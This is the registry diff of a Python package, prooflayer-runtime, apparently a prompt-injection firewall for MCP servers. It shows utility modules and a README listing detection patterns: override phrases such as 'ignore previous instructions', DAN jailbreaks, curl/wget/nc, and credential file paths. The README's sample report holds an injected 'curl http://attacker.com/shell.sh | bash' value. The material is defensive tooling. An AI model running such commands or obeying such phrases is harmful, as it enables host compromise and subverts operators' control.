prooflayer-runtime 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- prooflayer/__init__.py +50 -0
- prooflayer/cli.py +362 -0
- prooflayer/config/__init__.py +6 -0
- prooflayer/config/allowlist.py +138 -0
- prooflayer/config/loader.py +29 -0
- prooflayer/detection/__init__.py +21 -0
- prooflayer/detection/engine.py +783 -0
- prooflayer/detection/models.py +49 -0
- prooflayer/detection/normalizer.py +245 -0
- prooflayer/detection/rules.py +104 -0
- prooflayer/detection/scanner.py +160 -0
- prooflayer/detection/scorer.py +65 -0
- prooflayer/detection/semantic.py +73 -0
- prooflayer/metrics.py +266 -0
- prooflayer/reporting/__init__.py +5 -0
- prooflayer/reporting/reporter.py +190 -0
- prooflayer/response/__init__.py +6 -0
- prooflayer/response/actions.py +152 -0
- prooflayer/response/killer.py +73 -0
- prooflayer/rules/command-injection.yaml +123 -0
- prooflayer/rules/data-exfiltration.yaml +83 -0
- prooflayer/rules/jailbreaks.yaml +67 -0
- prooflayer/rules/prompt-injection.yaml +99 -0
- prooflayer/rules/role-manipulation.yaml +60 -0
- prooflayer/rules/sql-injection.yaml +51 -0
- prooflayer/rules/ssrf-xxe.yaml +51 -0
- prooflayer/rules/tool-poisoning.yaml +46 -0
- prooflayer/runtime/__init__.py +21 -0
- prooflayer/runtime/interceptor.py +91 -0
- prooflayer/runtime/mcp_wrapper.py +395 -0
- prooflayer/runtime/middleware.py +86 -0
- prooflayer/runtime/transport.py +306 -0
- prooflayer/runtime/wrapper.py +265 -0
- prooflayer/utils/__init__.py +21 -0
- prooflayer/utils/encoding.py +87 -0
- prooflayer/utils/entropy.py +51 -0
- prooflayer/utils/logging.py +86 -0
- prooflayer/utils/masking.py +72 -0
- prooflayer/version.py +6 -0
- prooflayer_runtime-0.1.0.dist-info/METADATA +266 -0
- prooflayer_runtime-0.1.0.dist-info/RECORD +45 -0
- prooflayer_runtime-0.1.0.dist-info/WHEEL +5 -0
- prooflayer_runtime-0.1.0.dist-info/entry_points.txt +2 -0
- prooflayer_runtime-0.1.0.dist-info/licenses/LICENSE +4 -0
- prooflayer_runtime-0.1.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Entropy Calculation
|
|
3
|
+
===================
|
|
4
|
+
|
|
5
|
+
Shannon entropy for detecting encoded/encrypted payloads.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import math
|
|
9
|
+
from collections import Counter
|
|
10
|
+
from typing import Union
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def calculate_shannon_entropy(data: Union[str, bytes]) -> float:
|
|
14
|
+
"""
|
|
15
|
+
Calculate Shannon entropy of data.
|
|
16
|
+
|
|
17
|
+
High entropy (> 4.5) suggests encoded/encrypted data, which could be
|
|
18
|
+
an attempt to bypass pattern matching.
|
|
19
|
+
|
|
20
|
+
Args:
|
|
21
|
+
data: String or bytes to analyze
|
|
22
|
+
|
|
23
|
+
Returns:
|
|
24
|
+
Shannon entropy value (0.0 to 8.0 for bytes, 0.0 to ~5.0 for text)
|
|
25
|
+
|
|
26
|
+
Example:
|
|
27
|
+
>>> calculate_shannon_entropy("aaaaaaa")
|
|
28
|
+
0.0
|
|
29
|
+
>>> calculate_shannon_entropy("abcdefg")
|
|
30
|
+
2.807
|
|
31
|
+
>>> calculate_shannon_entropy("4r8Kq2!@#") # High entropy
|
|
32
|
+
3.251
|
|
33
|
+
"""
|
|
34
|
+
if not data:
|
|
35
|
+
return 0.0
|
|
36
|
+
|
|
37
|
+
# Convert to bytes if string
|
|
38
|
+
if isinstance(data, str):
|
|
39
|
+
data = data.encode('utf-8')
|
|
40
|
+
|
|
41
|
+
# Count frequency of each byte
|
|
42
|
+
counter = Counter(data)
|
|
43
|
+
length = len(data)
|
|
44
|
+
|
|
45
|
+
# Calculate entropy
|
|
46
|
+
entropy = 0.0
|
|
47
|
+
for count in counter.values():
|
|
48
|
+
probability = count / length
|
|
49
|
+
entropy -= probability * math.log2(probability)
|
|
50
|
+
|
|
51
|
+
return entropy
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Structured JSON Logging
|
|
3
|
+
========================
|
|
4
|
+
|
|
5
|
+
Provides a JSON log formatter for ProofLayer modules.
|
|
6
|
+
When config has format=json, all loggers use this formatter.
|
|
7
|
+
|
|
8
|
+
Log format:
|
|
9
|
+
{"timestamp": "...", "level": "INFO", "module": "engine", "message": "...", "extra": {...}}
|
|
10
|
+
"""
|
|
11
|
+
|
|
12
|
+
import json
|
|
13
|
+
import logging
|
|
14
|
+
from datetime import datetime, timezone
|
|
15
|
+
from typing import Optional, Dict, Any
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
class JSONFormatter(logging.Formatter):
|
|
19
|
+
"""Formats log records as single-line JSON."""
|
|
20
|
+
|
|
21
|
+
def format(self, record: logging.LogRecord) -> str:
|
|
22
|
+
log_entry: Dict[str, Any] = {
|
|
23
|
+
"timestamp": datetime.fromtimestamp(
|
|
24
|
+
record.created, tz=timezone.utc
|
|
25
|
+
).strftime("%Y-%m-%dT%H:%M:%S.%fZ"),
|
|
26
|
+
"level": record.levelname,
|
|
27
|
+
"module": record.module,
|
|
28
|
+
"message": record.getMessage(),
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
# Collect extra fields set via `logger.info("msg", extra={...})`
|
|
32
|
+
extra = {}
|
|
33
|
+
# Standard LogRecord attributes to exclude
|
|
34
|
+
_standard_attrs = {
|
|
35
|
+
"name", "msg", "args", "created", "relativeCreated",
|
|
36
|
+
"exc_info", "exc_text", "stack_info", "lineno", "funcName",
|
|
37
|
+
"pathname", "filename", "module", "thread", "threadName",
|
|
38
|
+
"process", "processName", "levelname", "levelno", "message",
|
|
39
|
+
"msecs", "taskName",
|
|
40
|
+
}
|
|
41
|
+
for key, value in record.__dict__.items():
|
|
42
|
+
if key.startswith("_") or key in _standard_attrs:
|
|
43
|
+
continue
|
|
44
|
+
extra[key] = value
|
|
45
|
+
|
|
46
|
+
if extra:
|
|
47
|
+
log_entry["extra"] = extra
|
|
48
|
+
|
|
49
|
+
if record.exc_info and record.exc_info[1] is not None:
|
|
50
|
+
log_entry["exception"] = self.formatException(record.exc_info)
|
|
51
|
+
|
|
52
|
+
return json.dumps(log_entry, default=str)
|
|
53
|
+
|
|
54
|
+
|
|
55
|
+
def configure_logging(
|
|
56
|
+
level: str = "INFO",
|
|
57
|
+
log_format: str = "text",
|
|
58
|
+
logger_names: Optional[list] = None,
|
|
59
|
+
) -> None:
|
|
60
|
+
"""
|
|
61
|
+
Configure ProofLayer logging.
|
|
62
|
+
|
|
63
|
+
Args:
|
|
64
|
+
level: Log level (DEBUG, INFO, WARNING, ERROR, CRITICAL)
|
|
65
|
+
log_format: "json" for structured JSON, "text" for standard text format
|
|
66
|
+
logger_names: Specific logger names to configure. If None, configures
|
|
67
|
+
the root 'prooflayer' logger (which propagates to all children).
|
|
68
|
+
"""
|
|
69
|
+
log_level = getattr(logging, level.upper(), logging.INFO)
|
|
70
|
+
|
|
71
|
+
if log_format == "json":
|
|
72
|
+
handler = logging.StreamHandler()
|
|
73
|
+
handler.setFormatter(JSONFormatter())
|
|
74
|
+
else:
|
|
75
|
+
handler = logging.StreamHandler()
|
|
76
|
+
handler.setFormatter(
|
|
77
|
+
logging.Formatter("%(asctime)s [%(levelname)s] %(name)s: %(message)s")
|
|
78
|
+
)
|
|
79
|
+
|
|
80
|
+
names = logger_names or ["prooflayer"]
|
|
81
|
+
|
|
82
|
+
for name in names:
|
|
83
|
+
lgr = logging.getLogger(name)
|
|
84
|
+
lgr.setLevel(log_level)
|
|
85
|
+
# Avoid duplicate handlers on repeated calls
|
|
86
|
+
lgr.handlers = [handler]
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Secret Masking
|
|
3
|
+
==============
|
|
4
|
+
|
|
5
|
+
Masks sensitive data in tool call arguments before writing to reports.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import math
|
|
9
|
+
import re
|
|
10
|
+
from collections import Counter
|
|
11
|
+
from typing import Any, Dict
|
|
12
|
+
|
|
13
|
+
# Key name patterns that indicate sensitive values
|
|
14
|
+
_SENSITIVE_KEY_PATTERNS = re.compile(
|
|
15
|
+
r"(password|passwd|token|api_key|apikey|secret|credential|auth|"
|
|
16
|
+
r"private_key|access_key|session|cookie|authorization|bearer)",
|
|
17
|
+
re.IGNORECASE,
|
|
18
|
+
)
|
|
19
|
+
|
|
20
|
+
_MASKED_VALUE = "***REDACTED***"
|
|
21
|
+
|
|
22
|
+
# Minimum length for high-entropy detection
|
|
23
|
+
_MIN_SECRET_LENGTH = 32
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
def _shannon_entropy(s: str) -> float:
|
|
27
|
+
"""Calculate Shannon entropy of a string."""
|
|
28
|
+
if not s:
|
|
29
|
+
return 0.0
|
|
30
|
+
counts = Counter(s)
|
|
31
|
+
length = len(s)
|
|
32
|
+
return -sum(
|
|
33
|
+
(count / length) * math.log2(count / length) for count in counts.values()
|
|
34
|
+
)
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def _looks_like_secret(value: str) -> bool:
|
|
38
|
+
"""Check if a string value looks like a secret (high entropy, long)."""
|
|
39
|
+
if len(value) < _MIN_SECRET_LENGTH:
|
|
40
|
+
return False
|
|
41
|
+
return _shannon_entropy(value) > 4.0
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def mask_sensitive_data(data: Dict[str, Any], _depth: int = 0) -> Dict[str, Any]:
|
|
45
|
+
"""
|
|
46
|
+
Mask sensitive values in a dictionary.
|
|
47
|
+
|
|
48
|
+
Detects sensitive keys by name pattern and high-entropy string values.
|
|
49
|
+
Returns a new dictionary with sensitive values replaced by a redaction marker.
|
|
50
|
+
|
|
51
|
+
Args:
|
|
52
|
+
data: Dictionary of tool call arguments.
|
|
53
|
+
_depth: Internal recursion depth counter.
|
|
54
|
+
|
|
55
|
+
Returns:
|
|
56
|
+
A new dictionary with sensitive values masked.
|
|
57
|
+
"""
|
|
58
|
+
if _depth > 10:
|
|
59
|
+
return data
|
|
60
|
+
|
|
61
|
+
masked: Dict[str, Any] = {}
|
|
62
|
+
for key, value in data.items():
|
|
63
|
+
if _SENSITIVE_KEY_PATTERNS.search(key):
|
|
64
|
+
masked[key] = _MASKED_VALUE
|
|
65
|
+
elif isinstance(value, dict):
|
|
66
|
+
masked[key] = mask_sensitive_data(value, _depth + 1)
|
|
67
|
+
elif isinstance(value, str) and _looks_like_secret(value):
|
|
68
|
+
masked[key] = _MASKED_VALUE
|
|
69
|
+
else:
|
|
70
|
+
masked[key] = value
|
|
71
|
+
|
|
72
|
+
return masked
|
prooflayer/version.py
ADDED
|
@@ -0,0 +1,266 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: prooflayer-runtime
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Runtime prompt injection firewall for MCP servers
|
|
5
|
+
Home-page: https://www.proof-layer.com
|
|
6
|
+
Author: Sinewave AI
|
|
7
|
+
Author-email: divya@sinewave.ai
|
|
8
|
+
License: Proprietary
|
|
9
|
+
Project-URL: GitHub, https://github.com/sinewaveai/prooflayer-runtime
|
|
10
|
+
Project-URL: Issues, https://github.com/sinewaveai/agent-security-scanner-mcp/issues
|
|
11
|
+
Keywords: mcp security runtime firewall prompt-injection suse kubernetes
|
|
12
|
+
Classifier: Development Status :: 3 - Alpha
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: Other/Proprietary License
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Topic :: Security
|
|
20
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
21
|
+
Requires-Python: >=3.10
|
|
22
|
+
Description-Content-Type: text/markdown
|
|
23
|
+
License-File: LICENSE
|
|
24
|
+
Requires-Dist: pyyaml>=6.0.0
|
|
25
|
+
Requires-Dist: httpx>=0.27.0
|
|
26
|
+
Provides-Extra: mcp
|
|
27
|
+
Requires-Dist: mcp>=1.0.0; extra == "mcp"
|
|
28
|
+
Provides-Extra: dev
|
|
29
|
+
Requires-Dist: pytest>=7.0.0; extra == "dev"
|
|
30
|
+
Requires-Dist: pytest-cov>=4.0.0; extra == "dev"
|
|
31
|
+
Requires-Dist: pytest-timeout>=2.0.0; extra == "dev"
|
|
32
|
+
Requires-Dist: pytest-asyncio>=0.21.0; extra == "dev"
|
|
33
|
+
Requires-Dist: black>=23.0.0; extra == "dev"
|
|
34
|
+
Requires-Dist: mypy>=1.0.0; extra == "dev"
|
|
35
|
+
Dynamic: author
|
|
36
|
+
Dynamic: author-email
|
|
37
|
+
Dynamic: classifier
|
|
38
|
+
Dynamic: description
|
|
39
|
+
Dynamic: description-content-type
|
|
40
|
+
Dynamic: home-page
|
|
41
|
+
Dynamic: keywords
|
|
42
|
+
Dynamic: license
|
|
43
|
+
Dynamic: license-file
|
|
44
|
+
Dynamic: project-url
|
|
45
|
+
Dynamic: provides-extra
|
|
46
|
+
Dynamic: requires-dist
|
|
47
|
+
Dynamic: requires-python
|
|
48
|
+
Dynamic: summary
|
|
49
|
+
|
|
50
|
+
# ProofLayer Runtime Security
|
|
51
|
+
|
|
52
|
+
**Runtime prompt injection firewall for MCP servers**
|
|
53
|
+
|
|
54
|
+
Built for SUSE Multi-Linux Manager, NeuVector integration, and enterprise Kubernetes deployments.
|
|
55
|
+
|
|
56
|
+
## Overview
|
|
57
|
+
|
|
58
|
+
ProofLayer Runtime Security wraps MCP (Model Context Protocol) servers with real-time threat detection. When a prompt injection or command injection attack is detected, ProofLayer can:
|
|
59
|
+
|
|
60
|
+
- **ALLOW** — Log and allow (risk score 0-29)
|
|
61
|
+
- **WARN** — Log with warning (risk score 30-69)
|
|
62
|
+
- **BLOCK** — Block the tool call (risk score 70-89)
|
|
63
|
+
- **KILL** — Terminate the MCP server (risk score 90-100)
|
|
64
|
+
|
|
65
|
+
## Features
|
|
66
|
+
|
|
67
|
+
✅ **45 Detection Rules** across 4 YAML categories, plus inline heuristics
|
|
68
|
+
✅ **Low Latency** detection per tool call
|
|
69
|
+
✅ **JSON + SARIF Reports** for compliance
|
|
70
|
+
✅ **Minimal Dependencies** (PyYAML only)
|
|
71
|
+
✅ **MCP-Native** (not a proxy)
|
|
72
|
+
✅ **Server Kill** on critical threats
|
|
73
|
+
|
|
74
|
+
## Quick Start
|
|
75
|
+
|
|
76
|
+
### Installation
|
|
77
|
+
|
|
78
|
+
```bash
|
|
79
|
+
# From this directory
|
|
80
|
+
pip install -e .
|
|
81
|
+
|
|
82
|
+
# Or copy the prooflayer/ directory to your project
|
|
83
|
+
cp -r prooflayer/ /path/to/your/project/
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Basic Usage
|
|
87
|
+
|
|
88
|
+
```python
|
|
89
|
+
from prooflayer import ProofLayerRuntime
|
|
90
|
+
|
|
91
|
+
# Wrap your MCP server
|
|
92
|
+
runtime = ProofLayerRuntime(
|
|
93
|
+
action_on_threat="warn", # or "block", "kill"
|
|
94
|
+
report_dir="./security-reports"
|
|
95
|
+
)
|
|
96
|
+
|
|
97
|
+
protected_server = runtime.wrap(mcp_server)
|
|
98
|
+
protected_server.run()
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### Example
|
|
102
|
+
|
|
103
|
+
```python
|
|
104
|
+
# examples/basic/simple_wrapped_server.py
|
|
105
|
+
python3 examples/basic/simple_wrapped_server.py
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
## Detection Rules
|
|
109
|
+
|
|
110
|
+
### Command Injection (15 rules)
|
|
111
|
+
- Shell metacharacters (`;`, `|`, `&&`, `||`)
|
|
112
|
+
- Dangerous commands (`curl`, `wget`, `bash`, `nc`)
|
|
113
|
+
- Command substitution (backticks, `$()`)
|
|
114
|
+
- Destructive commands (`rm -rf`)
|
|
115
|
+
|
|
116
|
+
### Prompt Injection (12 rules)
|
|
117
|
+
- "Ignore previous instructions"
|
|
118
|
+
- "Disregard system prompt"
|
|
119
|
+
- "New instructions"
|
|
120
|
+
- System override attempts
|
|
121
|
+
|
|
122
|
+
### Jailbreaks (8 rules)
|
|
123
|
+
- DAN (Do Anything Now) mode
|
|
124
|
+
- Developer mode activation
|
|
125
|
+
- Role manipulation ("act as")
|
|
126
|
+
- Alignment override
|
|
127
|
+
|
|
128
|
+
### Data Exfiltration (10 rules)
|
|
129
|
+
- File access (`/etc/passwd`, `.ssh/`, `.env`)
|
|
130
|
+
- Base64 encoding
|
|
131
|
+
- Network exfiltration
|
|
132
|
+
- Sensitive file patterns
|
|
133
|
+
|
|
134
|
+
*Additional inline heuristics cover role manipulation and tool poisoning patterns as fallbacks.*
|
|
135
|
+
|
|
136
|
+
## Configuration
|
|
137
|
+
|
|
138
|
+
Create `prooflayer.yaml`:
|
|
139
|
+
|
|
140
|
+
```yaml
|
|
141
|
+
detection:
|
|
142
|
+
enabled: true
|
|
143
|
+
rules_dir: ./prooflayer/rules
|
|
144
|
+
score_threshold:
|
|
145
|
+
allow: [0, 29]
|
|
146
|
+
warn: [30, 69]
|
|
147
|
+
block: [70, 100]
|
|
148
|
+
|
|
149
|
+
response:
|
|
150
|
+
on_threat: warn # allow, warn, block, kill
|
|
151
|
+
report_dir: ./security-reports
|
|
152
|
+
alert_webhook: null
|
|
153
|
+
|
|
154
|
+
performance:
|
|
155
|
+
max_latency_ms: 10
|
|
156
|
+
cache_rules: true
|
|
157
|
+
|
|
158
|
+
logging:
|
|
159
|
+
level: INFO
|
|
160
|
+
format: json
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
Then load it:
|
|
164
|
+
|
|
165
|
+
```python
|
|
166
|
+
runtime = ProofLayerRuntime(config_path="prooflayer.yaml")
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
## Attack Scenarios
|
|
170
|
+
|
|
171
|
+
Test the detection engine with attack scenarios:
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# Command injection
|
|
175
|
+
python3 examples/attack-scenarios/01_command_injection.py
|
|
176
|
+
|
|
177
|
+
# Data exfiltration
|
|
178
|
+
python3 examples/attack-scenarios/02_data_exfiltration.py
|
|
179
|
+
|
|
180
|
+
# Jailbreak attempts
|
|
181
|
+
python3 examples/attack-scenarios/03_jailbreak.py
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
## Security Reports
|
|
185
|
+
|
|
186
|
+
Reports are written to `./security-reports/` in JSON format:
|
|
187
|
+
|
|
188
|
+
```json
|
|
189
|
+
{
|
|
190
|
+
"prooflayer_version": "0.1.0",
|
|
191
|
+
"timestamp": "2026-02-25T10:30:45.123Z",
|
|
192
|
+
"threat": {
|
|
193
|
+
"type": "command_injection",
|
|
194
|
+
"tool": "add_system",
|
|
195
|
+
"arguments": {
|
|
196
|
+
"hostname": "prod-db; curl http://attacker.com/shell.sh | bash"
|
|
197
|
+
},
|
|
198
|
+
"risk_score": 95,
|
|
199
|
+
"action": "SERVER_KILLED"
|
|
200
|
+
},
|
|
201
|
+
"detection": {
|
|
202
|
+
"rules_matched": [
|
|
203
|
+
"cmd-inject-semicolon",
|
|
204
|
+
"cmd-inject-curl",
|
|
205
|
+
"cmd-inject-pipe"
|
|
206
|
+
],
|
|
207
|
+
"confidence": "HIGH"
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
## SUSE Integration
|
|
213
|
+
|
|
214
|
+
See `examples/suse/` for integration with SUSE Multi-Linux Manager:
|
|
215
|
+
|
|
216
|
+
- `wrapped-simple-mcp.py` — ProofLayer-wrapped simple-mcp
|
|
217
|
+
- `systemd/prooflayer-mcp@.service` — systemd service file
|
|
218
|
+
- `config/prooflayer.yaml` — SUSE-specific configuration
|
|
219
|
+
|
|
220
|
+
## Architecture
|
|
221
|
+
|
|
222
|
+
```
|
|
223
|
+
┌─────────────────────────────────┐
|
|
224
|
+
│ LLM (Claude, GPT-4, etc.) │
|
|
225
|
+
└────────────┬────────────────────┘
|
|
226
|
+
│ MCP Protocol
|
|
227
|
+
▼
|
|
228
|
+
┌─────────────────────────────────┐
|
|
229
|
+
│ ProofLayer Runtime Interceptor │
|
|
230
|
+
│ ├─ Scan Parameters (45 rules) │
|
|
231
|
+
│ ├─ Score Risk (0-100) │
|
|
232
|
+
│ └─ ALLOW/WARN/BLOCK/KILL │
|
|
233
|
+
└────────────┬────────────────────┘
|
|
234
|
+
│ (if ALLOW)
|
|
235
|
+
▼
|
|
236
|
+
┌─────────────────────────────────┐
|
|
237
|
+
│ MCP Server (Multi-Linux Mgr) │
|
|
238
|
+
│ ├─ add_system() │
|
|
239
|
+
│ ├─ get_unscheduled_errata() │
|
|
240
|
+
│ └─ apply_patch() │
|
|
241
|
+
└─────────────────────────────────┘
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
## Performance
|
|
245
|
+
|
|
246
|
+
- **Detection latency**: Low latency per tool call (benchmarks pending)
|
|
247
|
+
- **Memory usage**: ~50MB
|
|
248
|
+
- **Throughput**: Benchmarks pending
|
|
249
|
+
|
|
250
|
+
## License
|
|
251
|
+
|
|
252
|
+
Proprietary License — see [LICENSE](LICENSE) file for details. Copyright © 2026 Sinewave AI
|
|
253
|
+
|
|
254
|
+
## Links
|
|
255
|
+
|
|
256
|
+
- **GitHub**: https://github.com/sinewaveai/prooflayer-runtime (coming soon)
|
|
257
|
+
- **Website**: https://www.proof-layer.com
|
|
258
|
+
- **Issues**: https://github.com/sinewaveai/agent-security-scanner-mcp/issues
|
|
259
|
+
|
|
260
|
+
## Contributing
|
|
261
|
+
|
|
262
|
+
See `docs/CONTRIBUTING.md` for guidelines.
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
**Built for SUSE · Powered by ProofLayer**
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
prooflayer/__init__.py,sha256=jvmDH-CYc63azgOq7RbAOHYP6s6THHTI6q9oobI5fnU,1535
|
|
2
|
+
prooflayer/cli.py,sha256=ncGwWfUT6KUdCNfHmxjjB10NECpgmiJcma_AWU0WMso,11075
|
|
3
|
+
prooflayer/metrics.py,sha256=ugdfyKXo8hTgTZd43MECLSWkWrAsaBtm0EbAuJF5UVs,9192
|
|
4
|
+
prooflayer/version.py,sha256=vXJEjZWC2QwPhyObvcGIvDNfvAqtf4m1iXSHtFvrgro,125
|
|
5
|
+
prooflayer/config/__init__.py,sha256=1O8HjZm8Cwgl-EG91OkXc7pWq4LhyIMizAfk0fxvwMw,152
|
|
6
|
+
prooflayer/config/allowlist.py,sha256=rWAr6ty4XExNh0d9LbJLO8mMVo7hlZ_OAcF3LJxgze8,4539
|
|
7
|
+
prooflayer/config/loader.py,sha256=YXucjHd4j2tuHGChUgk5rt6J0rXwF66yoSAwlUQvbIs,711
|
|
8
|
+
prooflayer/detection/__init__.py,sha256=YWtxaLXK-OX5ssYuCshAr2BdOhIxvPN7F4d8-y31bYU,520
|
|
9
|
+
prooflayer/detection/engine.py,sha256=hf2W3Ic0oK8eCcp14EOviYXouMjZxSXriM81Y93nhOw,32623
|
|
10
|
+
prooflayer/detection/models.py,sha256=k0N9XtyuwUzVhzsbhV_MLE_egvpv1ImLouzzjjgSrbw,1543
|
|
11
|
+
prooflayer/detection/normalizer.py,sha256=DnIhWsKoKEwtJ12slNt8doemaqumxaPqXmg9ptKj5FQ,6793
|
|
12
|
+
prooflayer/detection/rules.py,sha256=QunL37kLmfCMJ1yNrL4kgDtuW72E6GlDj14aEaXeUWM,3231
|
|
13
|
+
prooflayer/detection/scanner.py,sha256=6vy5cgg8xSrmgd0x3b9IQkyMTSFFTuEG_n2Q9_UONHk,5401
|
|
14
|
+
prooflayer/detection/scorer.py,sha256=xx094_PlLy4Tk4wf9ahXLbSNasROia5PCVbQ92z4VP8,1940
|
|
15
|
+
prooflayer/detection/semantic.py,sha256=e_w8OVO5xgJ6gqbbjD6LyIx9LzUF7dcEtm1ZIabN4b0,2722
|
|
16
|
+
prooflayer/reporting/__init__.py,sha256=RE3eW1OAT97HzeGSmDgdxrL-PyHc9ylRfHksA3XGSFg,106
|
|
17
|
+
prooflayer/reporting/reporter.py,sha256=4crD9kzQdQhztnm5jjZB9QuviNUWTIpyt_NSfptloMM,6441
|
|
18
|
+
prooflayer/response/__init__.py,sha256=B4zy0EtyLwKYK3eijgdScrfTbCLVl35ahgGVj0mcukc,231
|
|
19
|
+
prooflayer/response/actions.py,sha256=vPtoSsl10wT4pKsjqL349ZBS1UnQeHrF_W9_G4znygU,4689
|
|
20
|
+
prooflayer/response/killer.py,sha256=pvsRTfYbxq6hSJjfyuX3_7dn7QfoNT31djIeyrPFqhU,2333
|
|
21
|
+
prooflayer/rules/command-injection.yaml,sha256=sBKuQsGa7bRySDLOVbMDc0r9C5erBfs9SXaLwFO0kdA,3556
|
|
22
|
+
prooflayer/rules/data-exfiltration.yaml,sha256=ZDMXvSVtytXkR9TFzUJaVNoCtig1fY3hw61cJTAg1xg,2409
|
|
23
|
+
prooflayer/rules/jailbreaks.yaml,sha256=qUPUejuVmlG8BqxRv7opBeeGXZH3YCKnuaZaljIzXH0,1953
|
|
24
|
+
prooflayer/rules/prompt-injection.yaml,sha256=eeNlt0Orc5FHRgwUtQKaoWribKHLh0clegRehAXAQOk,3099
|
|
25
|
+
prooflayer/rules/role-manipulation.yaml,sha256=3i3ptx4EvfJSRAswuh5og7R-RiClqHnTycX5jz3e7Iw,2013
|
|
26
|
+
prooflayer/rules/sql-injection.yaml,sha256=eHSj_8aE_BxEvynH8JAop1wHZdMFtTVlzfhVYSJ4iVA,1468
|
|
27
|
+
prooflayer/rules/ssrf-xxe.yaml,sha256=CUxy5xpSIcJ3lKyVCe6PuYaDejLkYJgRY1dblwutMMw,1429
|
|
28
|
+
prooflayer/rules/tool-poisoning.yaml,sha256=pdlREkNAprO80qUYTgLtx6nt7gmwGTxmFh16-Gkn1e0,1540
|
|
29
|
+
prooflayer/runtime/__init__.py,sha256=AKLpn6ZJyMDXgJQv3k1MPYNVW95T3U-r-WfwU1rwoNM,668
|
|
30
|
+
prooflayer/runtime/interceptor.py,sha256=9jRnZSUC3o2CzMeephe5svFaKdTbQMPyJALyRK06rlI,2362
|
|
31
|
+
prooflayer/runtime/mcp_wrapper.py,sha256=xTlL1XK6PAQm05HEqdl1Ob1waz_MbUz_ReVjQSbUgn8,14579
|
|
32
|
+
prooflayer/runtime/middleware.py,sha256=DwCYQxmKjjXmfiDlO39j7BOXroQnPsDmdyukt0Dr25A,2610
|
|
33
|
+
prooflayer/runtime/transport.py,sha256=uxwmkIOLHj6wJ-FFAPbQoDJWumQGl-tMxgC1MSU6dfI,12479
|
|
34
|
+
prooflayer/runtime/wrapper.py,sha256=8-ZtOfHsFAvHNWNtErGTGsROcew759KQqhSHQPXsQE8,9150
|
|
35
|
+
prooflayer/utils/__init__.py,sha256=HumHH8-fz2c61URLEKY85rGQztd_fas3KnBpFYbPWTo,487
|
|
36
|
+
prooflayer/utils/encoding.py,sha256=OqnMTgBLHXBxkBZY2UjA-8l5UD5zMEnFqOAQHna9QqY,2713
|
|
37
|
+
prooflayer/utils/entropy.py,sha256=fkX4l0p_vXKyj2Ad70bQdZX1HOkMS5e2bO3tK39lNRU,1190
|
|
38
|
+
prooflayer/utils/logging.py,sha256=_jh8y5BzvksI8L6YH30_0nGjSovtJDDMPDSv-mXV374,2847
|
|
39
|
+
prooflayer/utils/masking.py,sha256=QED0qNWsqccDA216vDpt5WnWuo22J9-bG4vsLcQTLu8,1994
|
|
40
|
+
prooflayer_runtime-0.1.0.dist-info/licenses/LICENSE,sha256=dG7fYllOUoZXuW7RiY7rJD6dMDkqeg6RWz-8ffr9MK4,221
|
|
41
|
+
prooflayer_runtime-0.1.0.dist-info/METADATA,sha256=zOLis-SxCImSxj_N2kPu_x_TgCgBWJn4f92gb7xLxzk,7290
|
|
42
|
+
prooflayer_runtime-0.1.0.dist-info/WHEEL,sha256=YCfwYGOYMi5Jhw2fU4yNgwErybb2IX5PEwBKV4ZbdBo,91
|
|
43
|
+
prooflayer_runtime-0.1.0.dist-info/entry_points.txt,sha256=zp3EpLEr2kQHG3nSwWjPDBGVYjzk_yHdqanFNMRX6tQ,51
|
|
44
|
+
prooflayer_runtime-0.1.0.dist-info/top_level.txt,sha256=NxCe1zEeLeYODkSAsBjyDnxKO42_NsQKFdu4coNSZKM,11
|
|
45
|
+
prooflayer_runtime-0.1.0.dist-info/RECORD,,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
prooflayer
|